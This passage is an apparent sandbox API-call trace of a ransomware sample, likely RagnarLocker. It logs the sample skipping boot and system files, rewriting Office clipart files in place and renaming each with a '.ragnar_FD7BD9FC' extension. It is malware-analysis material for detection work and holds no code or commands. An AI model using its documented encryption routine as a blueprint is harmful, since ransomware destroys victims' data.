lpOverlapped=0x0) returned 1 [0083.991] VirtualAlloc (lpAddress=0x0, dwSize=0x2358, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.991] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2358, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2358, lpOverlapped=0x0) returned 1 [0083.992] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.992] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2358, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.993] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2358, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2358, lpOverlapped=0x0) returned 1 [0083.993] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2358, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.993] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.993] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2358, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.993] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.993] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.993] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.993] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.993] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.993] GetProcessHeap () returned 0x580000 [0083.993] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.993] CloseHandle (hObject=0xf4) returned 1 [0083.993] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" [0083.994] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.ragnar_FD7BD9FC" [0083.994] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.994] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0083.994] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.994] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107090.WMF" | out: lpString1="J0107090.WMF") returned="J0107090.WMF" [0083.994] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned=".WMF" [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="autorun.inf") returned 1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="boot.ini") returned 1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="bootfont.bin") returned 1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="bootsect.bak") returned 1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="bootmgr") returned 1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="bootmgr.efi") returned 1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="bootmgfw.efi") returned 1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="desktop.ini") returned 1 [0083.994] lstrcmpiW (lpString1="J0107090.WMF", lpString2="iconcache.db") returned 1 [0083.995] lstrcmpiW (lpString1="J0107090.WMF", lpString2="ntldr") returned -1 [0083.995] lstrcmpiW (lpString1="J0107090.WMF", lpString2="ntuser.dat") returned -1 [0083.995] lstrcmpiW (lpString1="J0107090.WMF", lpString2="ntuser.dat.log") returned -1 [0083.995] lstrcmpiW (lpString1="J0107090.WMF", lpString2="ntuser.ini") returned -1 [0083.995] lstrcmpiW (lpString1="J0107090.WMF", lpString2="thumbs.db") returned -1 [0083.995] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.995] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.995] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.995] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.995] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.995] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.995] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 0x20 [0083.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.995] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14132) returned 1 [0083.995] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x372b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.995] GetProcessHeap () returned 0x580000 [0083.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.995] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.997] VirtualAlloc (lpAddress=0x0, dwSize=0x3734, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.997] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.997] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.997] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3734, lpOverlapped=0x0) returned 1 [0083.998] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.999] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3734, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.999] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3734, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3734, lpOverlapped=0x0) returned 1 [0083.999] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3734, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.999] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.999] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.999] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.999] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.999] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.999] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.999] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.999] GetProcessHeap () returned 0x580000 [0083.999] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.999] CloseHandle (hObject=0xf4) returned 1 [0084.000] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" [0084.000] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.ragnar_FD7BD9FC" [0084.000] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.000] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0084.000] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.000] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107130.WMF" | out: lpString1="J0107130.WMF") returned="J0107130.WMF" [0084.000] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned=".WMF" [0084.000] lstrcmpiW (lpString1="J0107130.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.000] lstrcmpiW (lpString1="J0107130.WMF", lpString2="autorun.inf") returned 1 [0084.000] lstrcmpiW (lpString1="J0107130.WMF", lpString2="boot.ini") returned 1 [0084.000] lstrcmpiW (lpString1="J0107130.WMF", lpString2="bootfont.bin") returned 1 [0084.000] lstrcmpiW (lpString1="J0107130.WMF", lpString2="bootsect.bak") returned 1 [0084.000] lstrcmpiW (lpString1="J0107130.WMF", lpString2="bootmgr") returned 1 [0084.000] lstrcmpiW (lpString1="J0107130.WMF", lpString2="bootmgr.efi") returned 1 [0084.000] lstrcmpiW (lpString1="J0107130.WMF", lpString2="bootmgfw.efi") returned 1 [0084.001] lstrcmpiW (lpString1="J0107130.WMF", lpString2="desktop.ini") returned 1 [0084.001] lstrcmpiW (lpString1="J0107130.WMF", lpString2="iconcache.db") returned 1 [0084.001] lstrcmpiW (lpString1="J0107130.WMF", lpString2="ntldr") returned -1 [0084.001] lstrcmpiW (lpString1="J0107130.WMF", lpString2="ntuser.dat") returned -1 [0084.001] lstrcmpiW (lpString1="J0107130.WMF", lpString2="ntuser.dat.log") returned -1 [0084.001] lstrcmpiW (lpString1="J0107130.WMF", lpString2="ntuser.ini") returned -1 [0084.001] lstrcmpiW (lpString1="J0107130.WMF", lpString2="thumbs.db") returned -1 [0084.001] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.001] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.001] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.001] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.001] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.001] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.001] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 0x20 [0084.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.001] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27084) returned 1 [0084.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x69c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.001] GetProcessHeap () returned 0x580000 [0084.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.001] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.003] VirtualAlloc (lpAddress=0x0, dwSize=0x69cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.003] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x69cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x69cc, lpOverlapped=0x0) returned 1 [0084.004] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.005] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x69cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.005] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x69cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x69cc, lpOverlapped=0x0) returned 1 [0084.005] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x69cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.005] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.005] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x69cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.005] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.005] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.005] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.006] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.006] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.006] GetProcessHeap () returned 0x580000 [0084.006] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.006] CloseHandle (hObject=0xf4) returned 1 [0084.006] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" [0084.006] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.ragnar_FD7BD9FC" [0084.006] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.007] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0084.007] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.007] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107132.WMF" | out: lpString1="J0107132.WMF") returned="J0107132.WMF" [0084.007] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned=".WMF" [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="autorun.inf") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="boot.ini") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="bootfont.bin") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="bootsect.bak") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="bootmgr") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="bootmgr.efi") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="bootmgfw.efi") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="desktop.ini") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="iconcache.db") returned 1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="ntldr") returned -1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="ntuser.dat") returned -1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="ntuser.dat.log") returned -1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="ntuser.ini") returned -1 [0084.007] lstrcmpiW (lpString1="J0107132.WMF", lpString2="thumbs.db") returned -1 [0084.007] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.007] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.007] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.007] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.007] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.007] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.007] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 0x20 [0084.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.008] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=48380) returned 1 [0084.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbcf3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.008] GetProcessHeap () returned 0x580000 [0084.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.008] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.010] VirtualAlloc (lpAddress=0x0, dwSize=0xbcfc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.010] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbcfc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbcfc, lpOverlapped=0x0) returned 1 [0084.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbcfc, 